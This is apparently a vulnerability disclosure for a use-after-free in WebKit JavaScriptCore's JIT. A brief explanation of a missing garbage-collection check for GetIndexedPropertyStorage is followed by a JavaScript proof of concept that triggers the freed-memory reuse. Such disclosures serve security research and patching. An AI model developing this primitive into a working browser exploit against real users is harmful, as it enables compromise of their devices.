WebKit JSC JIT – GetIndexedPropertyStorage Use-After-Free
/* The doesGC function simply takes a node, and tells if it might cause a garbage collection. This function is used to determine whether to insert write barriers. But it's missing GetIndexedPropertyStorage that can cause a garbage collection via rope strings. As a result, it can lead to UaF. PoC: */ function gc() { for (let i = 0; i < 10; i++) { new ArrayBuffer(1024 * 1024 * 10); } } function opt(arr) { let r = /a/; let o = {}; arr[0].charAt(0); arr[1].charAt(0); arr[2].charAt(0); arr[3].charAt(0); arr[4].charAt(0); arr[5].charAt(0); arr[6].charAt(0); arr[7].charAt(0); arr[8].charAt(0); arr[8].charAt(0); arr[9].charAt(0); o.x = 'a'.match(r); return o; } function main() { for (let i = 0; i < 10000; i++) { opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]); } let a = 'a'.repeat(1024 * 1024 * 2); let b = 'a'.repeat(1024 * 1024 * 2); let arr = []; for (let i = 0; i < 10; i++) { arr[i] = a + b; } gc(); let o = opt(arr); gc(); let tmp = [1234]; print(o.x); // 1234 } main(); |